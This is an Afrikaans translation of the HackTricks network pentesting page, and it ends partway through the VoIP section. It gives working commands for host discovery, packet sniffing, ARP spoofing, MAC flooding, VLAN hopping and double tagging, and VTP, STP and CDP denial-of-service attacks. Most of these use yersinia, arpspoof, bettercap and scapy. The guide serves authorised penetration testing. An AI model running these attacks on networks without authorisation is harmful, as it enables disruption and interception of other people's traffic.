62 KiB
Pentesting Netwerk
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.
Bug bounty-tippie: teken aan vir Intigriti, 'n premium bug bounty-platform wat deur hackers vir hackers geskep is! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks, en begin verdien belonings tot $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Ontdekking van gasheer van buite af
Dit is 'n kort afdeling oor hoe om IP's te vind wat reageer vanaf die Internet.
In hierdie situasie het jy 'n omvang van IP's (miskien selfs verskeie reekse) en jy wil net uitvind watter IP's reageer.
ICMP
Dit is die maklikste en vinnigste manier om uit te vind of 'n gasheer aktief is of nie.
Jy kan probeer om 'n paar ICMP-pakette te stuur en verwag antwoorde. Die maklikste manier is om net 'n echo-versoek te stuur en 'n antwoord te verwag. Jy kan dit doen deur 'n eenvoudige ping
te gebruik of deur fping
te gebruik vir reekse.
Jy kan ook nmap gebruik om ander tipes ICMP-pakette te stuur (dit sal filters vir gewone ICMP-echo-versoek-antwoord vermy).
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP Poort Ontdekking
Dit is baie algemeen om te vind dat alle soorte ICMP-pakette gefiltreer word. Dan kan jy slegs probeerslag om oop poorte te vind om te kyk of 'n gasheer aktief is. Elke gasheer het 65535 poorte, so as jy 'n "groot" omvang het, kan jy nie toets of elke poort van elke gasheer oop of toe is nie, dit sal te veel tyd neem.
Wat jy nodig het, is 'n vinnige poortskander (masscan) en 'n lys van die mees gebruikte poorte:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
Jy kan hierdie stap ook met nmap
uitvoer, maar dit is stadiger en nmap
het probleme om gasheerstelsels op te spoor.
HTTP Poort Ontdekking
Dit is net 'n TCP-poortontdekking wat nuttig is wanneer jy wil fokus op die ontdekking van HTTP-diens.
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP Poort Ontdekking
Jy kan ook probeer om te kyk vir sommige UDP-poorte wat oop is om te besluit of jy meer aandag aan 'n gasheer moet gee. Aangesien UDP-diens gewoonlik nie reageer met enige data op 'n gewone leë UDP-probe-pakket nie, is dit moeilik om te sê of 'n poort gefiltreer of oop is. Die maklikste manier om dit te besluit, is om 'n pakket te stuur wat verband hou met die lopende diens, en aangesien jy nie weet watter diens loop nie, moet jy die mees waarskynlike probeer gebaseer op die poortnommer:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
Die nmap-lyn wat voorheen voorgestel is, sal die top 1000 UDP-poorte toets in elke gasheer binne die /24-reeks, maar selfs dit sal >20 minute neem. As jy vinnigste resultate benodig, kan jy udp-proto-scanner gebruik: ./udp-proto-scanner.pl 199.66.11.53/24
Dit sal hierdie UDP-ondersoeke na hul verwagte poort stuur (vir 'n /24-reeks sal dit net 1 minuut neem): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
SCTP Poort Ontdekking
#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
Pentesting Wifi
Hier kan jy 'n goeie gids vind van al die bekende Wifi-aanvalle op die tydstip van die skryf:
{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}
Ontdekking van gasheer van binne
As jy binne die netwerk is, is een van die eerste dinge wat jy wil doen, om ander gasheer te ontdek. Afhangende van hoeveel geraas jy kan/wil maak, kan verskillende aksies uitgevoer word:
Passief
Jy kan hierdie hulpmiddels gebruik om gasheer passief binne 'n gekoppelde netwerk te ontdek:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Aktief
Let daarop dat die tegnieke wat in Ontdekking van gasheer van buite af (TCP/HTTP/UDP/SCTP-poortontdekking) bespreek word, hier ook toegepas kan word.
Maar, aangesien jy in dieselfde netwerk as die ander gasheer is, kan jy meer dinge doen:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Aktiewe ICMP
Let daarop dat die tegnieke wat in Ontdekking van gasheer van buite (ICMP) bespreek word, ook hier toegepas kan word.
Maar, aangesien jy in dieselfde netwerk as die ander gasheer is, kan jy meer dinge doen:
- As jy 'n subnet-uitsaai-adres ping, moet die ping na elke gasheer aankom en hulle kan aan jou antwoord:
ping -b 10.10.5.255
- Deur die netwerk-uitsaai-adres te ping, kan jy selfs gasheer binne ander subnets vind:
ping -b 255.255.255.255
- Gebruik die
-PE
,-PP
,-PM
vlae vannmap
om gasheerontdekking uit te voer deur onderskeidelik ICMPv4-echo, tydstempel en subnetmaskerversoeke te stuur:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan word gebruik om rekenaars aan te skakel deur middel van 'n netwerkboodskap. Die sielkundige pakkie wat gebruik word om die rekenaar aan te skakel, is slegs 'n pakkie waarin 'n MAC Dst verskaf word en dit dan 16 keer herhaal word binne dieselfde pakkie.
Hierdie tipe pakkies word gewoonlik gestuur in 'n ethernet 0x0842 of in 'n UDP-pakkie na poort 9.
As geen [MAC] verskaf word nie, word die pakkie gestuur na uitsaai-ethernet (en die uitsaai-MAC sal herhaal word).
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
Skandering van Gasheer
Sodra jy al die IP-adresse (eksterne of interne) ontdek het wat jy in diepte wil skandeer, kan verskillende aksies uitgevoer word.
TCP
- Oop poort: SYN --> SYN/ACK --> RST
- Geslote poort: SYN --> RST/ACK
- Gefiltreerde poort: SYN --> [GEEN REAKSIE]
- Gefiltreerde poort: SYN --> ICMP-boodskap
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
Daar is 2 opsies om 'n UDP-poort te skandeer:
- Stuur 'n UDP-pakket en kyk vir die respons ICMP onbereikbaar as die poort gesluit is (in verskeie gevalle sal ICMP gefilter word, sodat jy geen inligting sal ontvang as die poort oop of toe is nie).
- Stuur 'n geformateerde datagram om 'n respons van 'n diens (bv. DNS, DHCP, TFTP, en ander, soos gelys in nmap-payloads) uit te lok. As jy 'n respons ontvang, dan is die poort oop.
Nmap sal beide opsies meng deur gebruik te maak van "-sV" (UDP-skanderings is baie stadig), maar let daarop dat UDP-skanderings stadiger as TCP-skanderings is:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP Skandering
SCTP (Stream Control Transmission Protocol) is ontwerp om saam met TCP (Transmission Control Protocol) en UDP (User Datagram Protocol) gebruik te word. Dit is hoofsaaklik ontwerp om die vervoer van telefonie data oor IP-netwerke te fasiliteer, deur baie van die betroubaarheidskenmerke wat in Signaling System 7 (SS7) gevind word, na te boots. SCTP is 'n kernkomponent van die SIGTRAN-protokolfamilie, wat daarop gemik is om SS7-seine oor IP-netwerke te vervoer.
Ondersteuning vir SCTP word verskaf deur verskeie bedryfstelsels, soos IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, en VxWorks, wat dui op die breë aanvaarding en bruikbaarheid daarvan in die veld van telekommunikasie en netwerke.
Nmap bied twee verskillende skanderings vir SCTP aan: -sY en -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS en IPS ontduiking
{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}
Meer nmap opsies
{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}
Onthulling van interne IP-adresse
Verkeerd gekonfigureerde roetings, brandmuure en netwerktoestelle reageer soms op netwerkondersoeke met behulp van nie-publieke bronadresse. tcpdump kan gebruik word om pakkies te identifiseer wat ontvang word vanaf private adresse tydens toetsing. Spesifiek op Kali Linux kan pakkies opgevang word op die eth2-koppelvlak, wat toeganklik is vanaf die openbare internet. Dit is belangrik om daarop te let dat as jou opset agter 'n NAT of 'n brandmuur is, sulke pakkies waarskynlik gefiltreer sal word.
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Snuffel
Snuffel kan jy besonderhede van IP-reekse, subnetgroottes, MAC-adresse en hostnames leer deur vasgevangde raamwerke en pakkies te hersien. As die netwerk verkeerd geconfigureer is of die skakelstof onder druk is, kan aanvallers sensitiewe materiaal vasvang deur passiewe netwerk snuffelwerk.
As 'n geskakelde Ethernet-netwerk behoorlik gekonfigureer is, sal jy slegs uitsaai-raamwerke en materiaal sien wat bestem is vir jou MAC-adres.
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
'n Persoon kan ook pakkies van 'n afgeleë masjien oor 'n SSH-sessie vasvang met Wireshark as die GUI in werkliktyd.
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
Bettercap is 'n kragtige, modulêre en veelsydige hakeringshulpmiddel wat gebruik kan word vir netwerkpenetrering en -analise. Dit bied 'n verskeidenheid funksies en tegnieke wat deur hakers gebruik kan word om netwerke te verkennend, inligting te onderskep en aanvalle uit te voer.
Funksies
-
ARP Spoofing: Hierdie funksie maak dit moontlik vir 'n aanvaller om die ARP-tabel van 'n doelwitrekenaar te vervals en sodoende alle netwerkverkeer na die aanvaller te stuur. Dit kan gebruik word om inligting te onderskep, sessies te kaap en selfs om man-in-die-middel-aanvalle uit te voer.
-
HTTP/HTTPS Onderskepping: Bettercap kan gebruik word om HTTP- en HTTPS-verkeer te onderskep en te manipuleer. Dit maak dit moontlik vir 'n aanvaller om inligting soos wagwoorde, kredietkaartinligting en ander gevoelige data te onderskep.
-
DNS Spoofing: Hierdie funksie maak dit moontlik vir 'n aanvaller om DNS-aanvrae te vervals en sodoende die doelwitrekenaar na 'n vals webwerf te stuur. Dit kan gebruik word om gebruikers te mislei en hulle gevoelige inligting te laat invoer op 'n vals webwerf.
-
WiFi Hacking: Bettercap kan gebruik word om WiFi-netwerke te hakeer deur middel van tegnieke soos deauth-aanvalle, wachtwoordkraking en man-in-die-middel-aanvalle. Dit kan gebruik word om toegang te verkry tot beveiligde netwerke en om inligting van gebruikers te onderskep.
-
Plugin-ondersteuning: Bettercap ondersteun plugins wat funksionaliteit kan toevoeg of aanpas. Dit maak dit moontlik vir hakers om die hulpmiddel aan te pas aan hul spesifieke behoeftes en om nuwe funksies by te voeg.
Installering
Om Bettercap te installeer, volg die instruksies in die offisiële dokumentasie. Dit is beskikbaar vir verskeie bedryfstelsels, insluitend Linux, macOS en Windows.
Gebruik
Na installering kan Bettercap gebruik word deur die opdragreël te hardloop met die nodige argumente en vlaggies. Raadpleeg die offisiële dokumentasie vir 'n volledige lys van opdragreëls en funksies.
Waarskuwing
Dit is belangrik om te onthou dat die gebruik van Bettercap sonder toestemming van die eienaar van die netwerk of stelsel onwettig is. Dit moet slegs gebruik word vir wettige doeleindes, soos netwerkpenetreringstoetse wat deur toestemming gedek word.
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
Duidelik.
Vang van geloofsbriewe
Jy kan gereedskap soos https://github.com/lgandx/PCredz gebruik om geloofsbriewe uit 'n pcap of 'n lewendige koppelvlak te ontled.
LAN-aanvalle
ARP-spoofing
ARP-spoofing behels die stuur van valse ARP-antwoorde om aan te dui dat die IP van 'n masjien die MAC van ons toestel het. Dan sal die slagoffer die ARP-tabel verander en elke keer as dit die vervalsde IP wil kontak, sal dit ons masjien kontak.
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
Arpspoof is 'n hulpmiddel wat gebruik word in netwerkpentesting om ARP (Address Resolution Protocol) vervalsing uit te voer. Hierdie tegniek maak dit moontlik vir 'n aanvaller om die ARP-tabel van 'n doelwitrekenaar te manipuleer, sodat die aanvaller verkeer kan onderskep of omlei.
Met behulp van arpspoof kan 'n aanvaller die ARP-pakette vervals en valse ARP-antwoorde na die doelwitstelsel stuur. Hierdie valse antwoorde kan die ARP-tabel van die doelwitstelsel manipuleer, sodat die aanvaller se MAC-adres gekoppel word aan die IP-adresse van ander stelsels in die netwerk.
Hierdie tegniek kan gebruik word om verkeer tussen twee stelsels in 'n netwerk te onderskep of om te lei. Byvoorbeeld, as 'n aanvaller die ARP-tabel van 'n router manipuleer, kan hy al die verkeer wat deur die router gaan, onderskep en ondersoek.
Arpspoof is 'n kragtige hulpmiddel wat deur netwerkpentesters gebruik kan word om die veiligheid van 'n netwerk te evalueer en swakpunte bloot te lê. Dit is belangrik om hierdie tegniek verantwoordelik te gebruik en slegs met toestemming van die eienaar van die netwerk.
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM-oorloop
Oorloop die skakel se CAM-tabel deur 'n groot aantal pakkies met verskillende bron-MAC-adresse te stuur. Wanneer die CAM-tabel vol is, begin die skakel optree soos 'n hub (uitstraling van alle verkeer).
macof -i <interface>
In moderne skakelaars is hierdie kwesbaarheid reggestel.
802.1Q VLAN / DTP-aanvalle
Dinamiese Trunking
Die Dinamiese Trunking-protokol (DTP) is ontwerp as 'n skakellaag-protokol om 'n outomatiese stelsel vir trunking te fasiliteer, wat skakelaars in staat stel om outomaties poorte vir trunk-modus (Trunk) of nie-trunk-modus te kies. Die implementering van DTP word dikwels beskou as 'n aanduiding van suboptimale netwerkontwerp, wat die belang van handmatige konfigurasie van trunks slegs waar nodig en die versekering van behoorlike dokumentasie beklemtoon.
Standaard is skakelaarpoorte ingestel om in Dinamiese Outo-modus te werk, wat beteken dat hulle gereed is om trunking te inisieer as dit deur 'n naburige skakelaar aangemoedig word. 'n Sekuriteitskwessie ontstaan wanneer 'n pentester of aanvaller aan die skakelaar koppel en 'n DTP-begeerlike raam stuur, wat die poort dwing om trunk-modus binne te gaan. Hierdie aksie stel die aanvaller in staat om VLAN's deur STP-raamontleding te tel en VLAN-segmentering te omseil deur virtuele interfaces op te stel.
Die teenwoordigheid van DTP in baie skakelaars standaard kan deur teenstanders uitgebuit word om 'n skakelaar se gedrag na te boots, en sodoende toegang te verkry tot verkeer oor alle VLAN's. Die skrip dtpscan.sh word gebruik om 'n inteface te monitor en te onthul of 'n skakelaar in die Verstek, Trunk, Dinamiese, Outo of Toegang-modus is—laasgenoemde is die enigste konfigurasie wat immuun is vir VLAN-hopping-aanvalle. Hierdie instrument beoordeel die kwesbaarheidstatus van die skakelaar.
As netwerkkwesbaarheid geïdentifiseer word, kan die Yersinia instrument gebruik word om "trunking" moontlik te maak via die DTP-protokol, wat die waarneming van pakkies van alle VLAN's toelaat.
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
Om die VLANs op te som, is dit ook moontlik om die DTP Desirable raam met die skripsie DTPHijacking.py** te genereer. Moenie die skripsie onder enige omstandighede onderbreek nie. Dit spuit DTP Desirable elke drie sekondes in. Die dinamies geskepte trunk-kanale op die skakelaar bly net vir vyf minute. Na vyf minute val die trunk af.
sudo python3 DTPHijacking.py --interface eth0
Ek wil graag daarop wys dat Toegang/Begeerlik (0x03) aandui dat die DTP-raamwerk van die Begeerlike tipe is, wat die poort vertel om na Trunk-modus oor te skakel. En 802.1Q/802.1Q (0xa5) dui op die 802.1Q inkapselingstipe.
Deur die STP-raamwerke te analiseer, kom ons agter dat VLAN 30 en VLAN 60 bestaan.
Aanval op spesifieke VLANs
Sodra jy die VLAN-ID's en IP-waardes ken, kan jy 'n virtuele koppelvlak konfigureer om 'n spesifieke VLAN aan te val.
As DHCP nie beskikbaar is nie, gebruik dan ifconfig om 'n statiese IP-adres in te stel.
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Outomatiese VLAN Hopper
Die bespreekte aanval van Dinamiese Trunking en die skep van virtuele interfaces en die ontdekking van gasheer in ander VLAN's word outomaties uitgevoer deur die instrument: https://github.com/nccgroup/vlan-hopping---frogger
Dubbele Tagging
As 'n aanvaller die waarde van die MAC, IP en VLAN ID van die slagoffer gasheer ken, kan hy probeer om 'n raamwerk dubbel te merk met sy aangewese VLAN en die VLAN van die slagoffer en 'n pakkie stuur. Aangesien die slagoffer nie kan terugkoppel met die aanvaller nie, is die beste opsie vir die aanvaller om te kommunikeer via UDP na protokolle wat interessante aksies kan uitvoer (soos SNMP).
'n Ander opsie vir die aanvaller is om 'n TCP-poortskandering te begin deur 'n IP te vervals wat deur die aanvaller beheer word en toeganklik is deur die slagoffer (waarskynlik deur die internet). Dan kan die aanvaller snuffel in die tweede gasheer wat aan hom behoort as dit pakkies van die slagoffer ontvang.
Om hierdie aanval uit te voer, kan jy scapy gebruik: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Laterale VLAN-segmenteringsoorskryding
As jy toegang het tot 'n skakelaar waaraan jy direk gekoppel is, het jy die vermoë om VLAN-segmentering te omseil binne die netwerk. Skakel eenvoudig die poort na trunk-modus (ook bekend as trunk), skep virtuele interfaces met die ID's van die teiken-VLAN's, en konfigureer 'n IP-adres. Jy kan probeer om die adres dinamies aan te vra (DHCP) of jy kan dit staties konfigureer. Dit hang af van die geval.
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}
Laag 3 Privaat VLAN-oorskryding
In sekere omgewings, soos gasdraadlose netwerke, word poort-isolasie (ook bekend as privaat VLAN)-instellings geïmplementeer om te voorkom dat kliënte wat aan 'n draadlose toegangspunt gekoppel is, direk met mekaar kommunikeer. 'n Tegniek is egter geïdentifiseer wat hierdie isolasie-maatreëls kan omseil. Hierdie tegniek maak gebruik van die gebrek aan netwerk ACL's of hul onvanpaste konfigurasie, wat IP-pakette in staat stel om deur 'n router gerouteer te word om 'n ander kliënt op dieselfde netwerk te bereik.
Die aanval word uitgevoer deur 'n pakkie te skep wat die IP-adres van die teikenkliënt dra, maar met die MAC-adres van die router. Dit veroorsaak dat die router die pakkie per abuis na die teikenkliënt stuur. Hierdie benadering is soortgelyk aan dié wat gebruik word in Dubbele Merkingaanvalle, waar die vermoë om 'n gasheer wat toeganklik is vir die slagoffer te beheer, gebruik word om die sekuriteitsfout uit te buit.
Belangrike stappe van die aanval:
- Skep van 'n pakkie: 'n Pakkie word spesiaal geskep om die IP-adres van die teikenkliënt in te sluit, maar met die MAC-adres van die router.
- Uitbuiting van routergedrag: Die geskepte pakkie word na die router gestuur, wat as gevolg van die konfigurasie die pakkie na die teikenkliënt omskakel en sodoende die isolasie wat deur privaat VLAN-instellings voorsien word, omseil.
VTP-aanvalle
VTP (VLAN Trunking Protocol) sentraliseer VLAN-bestuur. Dit maak gebruik van revisienommers om die integriteit van die VLAN-databasis te handhaaf; enige wysiging verhoog hierdie nommer. Skakelaars neem konfigurasies met hoër revisienommers oor en werk hul eie VLAN-databasisse by.
VTP-domeinrolle
- VTP-bediener: Bestuur VLAN's - skep, verwyder, wysig. Dit versprei VTP-aankondigings na domeinlede.
- VTP-kliënt: Ontvang VTP-aankondigings om sy VLAN-databasis te sinchroniseer. Hierdie rol is beperk vanaf plaaslike VLAN-konfigurasiewysigings.
- VTP-deursigtig: Neem nie deel aan VTP-opdaterings nie, maar stuur VTP-aankondigings deur. Dit word nie deur VTP-aanvalle geraak nie en handhaaf 'n konstante revisienommer van nul.
VTP-advertensietipes
- Opsommingsadvertensie: Versprei deur die VTP-bediener elke 300 sekondes en dra noodsaaklike domeininligting.
- Substeladvertensie: Gestuur na VLAN-konfigurasieveranderinge.
- Advertensieversoek: Uitgereik deur 'n VTP-kliënt om 'n opsommingsadvertensie aan te vra, tipies as reaksie op die opsporing van 'n hoër konfigurasie-revisienommer.
VTP-gebreklikhede is uitsluitlik uitbuitbaar via trunkpoorte, aangesien VTP-aankondigings slegs daardeur versprei word. Post-DTP-aanvalscenario's kan na VTP oorskakel. Hulpmiddels soos Yersinia kan VTP-aanvalle fasiliteer deur die VLAN-databasis uit te wis en sodoende die netwerk te ontwrig.
Opmerking: Hierdie bespreking handel oor VTP-weergawe 1 (VTPv1).
%% yersinia -G # Launch Yersinia in graphical mode ```
In Yersinia se grafiese modus, kies die opsie om al die VTP vlans te verwyder om die VLAN-databasis te skoonmaak.
STP Aanvalle
As jy nie BPDU-rame op jou interfaces kan vasvang nie, is dit onwaarskynlik dat jy suksesvol sal wees met 'n STP-aanval.
STP BPDU DoS
Deur 'n groot hoeveelheid BPDUs TCP (Topology Change Notification) of Conf (die BPDUs wat gestuur word wanneer die topologie geskep word) te stuur, word die skakelaars oorlê en hou op om korrek te werk.
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
STP TCP Aanval
Wanneer 'n TCP-pakket gestuur word, sal die CAM-tabel van die skakelaars binne 15 sekondes uitgevee word. Dan, as jy voortdurend hierdie soort pakkette stuur, sal die CAM-tabel voortdurend herlaai word (elke 15 sekondes) en wanneer dit herlaai word, gedra die skakelaar hom soos 'n hub.
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
STP-wortelaanval
Die aanvaller boots die gedrag van 'n skakelaar na om die STP-wortel van die netwerk te word. Dan sal meer data deur hom gaan. Dit is interessant wanneer jy aan twee verskillende skakelaars gekoppel is.
Dit word gedoen deur BPDUs CONF-pakette te stuur wat sê dat die prioriteit-waarde minder is as die werklike prioriteit van die werklike wortelskakelaar.
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
As die aanvaller aan 2 skakelaars gekoppel is, kan hy die wortel van die nuwe boom wees en al die verkeer tussen daardie skakelaars sal deur hom gaan (‘n MITM-aanval sal uitgevoer word).
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CDP Aanvalle
CISCO Discovery Protocol (CDP) is noodsaaklik vir kommunikasie tussen CISCO-toestelle, wat hulle in staat stel om elkaar te identifiseer en konfigurasiebesonderhede te deel.
Passiewe Data Versameling
CDP is gekonfigureer om inligting deur alle poorte uit te saai, wat 'n sekuriteitsrisiko kan veroorsaak. 'n Aanvaller kan, nadat hy aan 'n skakelaarpoort gekoppel het, netwerksnuffelaars soos Wireshark, tcpdump, of Yersinia gebruik. Hierdie aksie kan sensitiewe data oor die netwerktoestel onthul, insluitend die model en die weergawe van Cisco IOS wat dit gebruik. Die aanvaller kan dan spesifieke kwesbaarhede in die geïdentifiseerde Cisco IOS-weergawe teiken.
Induseer CDP Tabel Oorstroming
'n Meer aggressiewe benadering behels die lanceer van 'n Denial of Service (DoS) aanval deur die skakelaar se geheue te oorweldig, terwyl dit voorgee om legitieme CISCO-toestelle te wees. Hieronder is die opdragvolgorde vir die inisieer van so 'n aanval met behulp van Yersinia, 'n netwerkwerktuig wat ontwerp is vir toetsdoeleindes:
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
Tydens hierdie aanval word die CPU van die skakelaar en die CDP-buurtabel swaar belas, wat dikwels verwys word na as "netwerk verlamming" as gevolg van die oormatige gebruik van hulpbronne.
CDP Impersonation Aanval
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
Jy kan ook scapy gebruik. Maak seker dat jy dit installeer met die scapy/contrib
pakkie.
VoIP Aanvalle en die VoIP Hopper Gereedskap
VoIP-telefone, wat toenemend geïntegreer word met IoT-toestelle, bied funksionaliteite soos die ontgrendeling van deure of die beheer van termostate deur middel van spesiale telefoonnommers. Hierdie integrasie kan egter sekuriteitsrisiko's inhou.
Die gereedskap voiphopper is ontwerp om 'n VoIP-telefoon in verskillende omgewings na te boots (Cisco, Avaya, Nortel, Alcatel-Lucent). Dit ontdek die VLAN-ID van die spraaknetwerk deur gebruik te maak van protokolle soos CDP, DHCP, LLDP-MED en 802.1Q ARP.
VoIP Hopper bied drie modusse vir die Cisco Discovery Protocol (CDP):
- Sniff Modus (
-c 0
): Analiseer netwerkpakette om die VLAN-ID te identifiseer. - Spoof Modus (
-c 1
): Genereer aangepaste pakkette wat dieselfde is as dié van 'n werklike VoIP-toestel. - Spoof met Voorgemaakte Pakket Modus (
-c 2
): Stuur pakkette wat identies is aan dié van 'n spesifieke Cisco IP-telefoonmodel.
Die voorkeurmodus vir spoed is die derde een. Dit vereis die spesifisering van:
- Die aanvaller se netwerkinterface (
-i
parameter). - Die naam van die nagebootste VoIP-toestel (
-E
parameter), wat voldoen aan die Cisco-naamformaat (bv. SEP gevolg deur 'n MAC-adres).
In korporatiewe omgewings kan 'n bestaande VoIP-toestel nageboots word deur:
- Die MAC-etiket op die telefoon te ondersoek.
